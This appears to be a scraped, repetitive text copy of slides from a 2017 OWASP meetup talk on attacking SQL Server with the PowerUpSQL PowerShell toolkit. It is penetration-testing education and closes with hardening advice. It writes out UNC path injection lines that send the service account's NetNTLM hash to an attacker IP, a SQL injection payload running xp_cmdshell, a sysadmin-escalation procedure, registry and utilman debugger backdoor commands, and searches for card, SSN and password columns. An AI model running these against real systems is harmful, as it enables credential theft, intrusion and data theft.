Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 37: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 38: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

